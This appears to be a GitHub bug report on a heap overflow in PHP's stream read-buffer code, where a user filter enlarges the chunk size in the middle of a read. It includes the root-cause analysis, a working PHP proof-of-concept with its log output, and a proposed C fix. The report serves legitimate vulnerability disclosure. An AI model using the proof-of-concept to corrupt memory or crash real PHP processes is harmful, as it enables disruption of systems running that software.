Repository navigation
Description
Description
Summary
_php_stream_fill_read_buffer() in main/streams/streams.c allocates chunk_buf using the stream's current chunk_size. A user-defined read filter can call stream_set_chunk_size() from its filter() method and increase that size while the function is running.
The next loop iteration then passes the updated stream->chunk_size to the underlying read operation, even though chunk_buf still has its original capacity. If the underlying stream returns enough data, the read can write past the end of chunk_buf.
Root Cause
_php_stream_fill_read_buffer() allocates chunk_buf once, before entering the loop:
chunk_buf = femalloc(stream->chunk_size, /* fallible */ true);A read filter is invoked from within the loop (streams.c). The filter can access its associated stream through $this->stream and change the chunk size by calling stream_set_chunk_size().
On a subsequent loop iteration, the read operation uses the updated stream->chunk_size as the requested read length (streams.c):
justread = stream->ops->read(stream, chunk_buf, stream->chunk_size);The requested length can therefore exceed the capacity allocated for chunk_buf. Since the read operation writes into this buffer, this can cause an out-of-bounds write if enough input data is available.
Poc
Run it with a memory-safety instrumented build to detect the out-of-bounds write.
<?php
const INITIAL_CHUNK = 128;
const BIG_CHUNK = 65536;
class BofFilter extends php_user_filter {
private int $calls = 0;
public function filter($in, $out, &$consumed, $closing): int {
$this->calls++;
if ($this->calls === 1) {
$prev = stream_set_chunk_size($this->stream, BIG_CHUNK);
fprintf(STDOUT,
"[filter #%d] chunk_size: %d -> %d (chunk_buf allocated at %d, next read up to %d → OOB +%d bytes)\n",
$this->calls, $prev, BIG_CHUNK, $prev, BIG_CHUNK, BIG_CHUNK - $prev
);
}
while ($bucket = stream_bucket_make_writeable($in)) {
$consumed += $bucket->datalen;
stream_bucket_append($out, $bucket);
}
return PSFS_PASS_ON;
}
}
stream_filter_register('bof', 'BofFilter');
$tmpfile = tempnam(sys_get_temp_dir(), 'php_bof_');
file_put_contents($tmpfile, str_repeat('B', BIG_CHUNK * 4));
$fp = fopen($tmpfile, 'rb');
stream_set_chunk_size($fp, INITIAL_CHUNK);
stream_filter_append($fp, 'bof', STREAM_FILTER_READ);
$data = stream_get_contents($fp);
fclose($fp); unlink($tmpfile);
echo "Read " . strlen($data) . " bytes\n";Poc Log:
=== PoC v2: initial_chunk=128 big_chunk=65536 ===
File size: 262144 bytes
[filter #1] chunk_size: 128 -> 65536 (chunk_buf allocated at 128, next read up to 65536 → OOB +65408 bytes)
[filter #2] running
[filter #3] running
[filter #4] running
[filter #5] running
[filter #6] running
Read 262144 bytes total
Exit code: 0
Expected Behavior
A read operation should never be given a length greater than the allocated capacity of its destination buffer.
If changing the chunk size from a filter is supported during this operation, the buffer should be resized before the next read. Alternatively, the read length should be limited to the buffer's allocated capacity.
Suggested Fix
Track the capacity of chunk_buf and ensure it is at least as large as the requested read length before each read. Another safe option is to use the original allocated size as the maximum read length for the lifetime of the buffer.
// streams.c:574
size_t allocated_chunk_size = stream->chunk_size;
chunk_buf = femalloc(allocated_chunk_size, /* fallible */ true);
if (UNEXPECTED(!chunk_buf)) {
return FAILURE;
}
// streams.c:587
justread = stream->ops->read(stream, chunk_buf, allocated_chunk_size);Impact
This is a memory-safety bug in a path that requires PHP userland filter code to change the stream's chunk size. If the underlying stream returns enough data, the read may write beyond the allocated buffer, potentially causing heap corruption or a process crash.
This report describes the bug and its robustness impact; it does not claim that an attacker without the ability to execute PHP code can directly trigger it.
PHP Version
PHP 8.4.28-dev (cli) (built: Oct 25 2026 04:43:29) (ZTS Visual C++ 2022 x64 DEBUG)
Zend Engine v4.4.28-dev
Platform: Windows 11 x64 (WINNT)
Operating System
Windows 11 25H2
Activity
streams: Heap overflow when a read filter grows the chunk size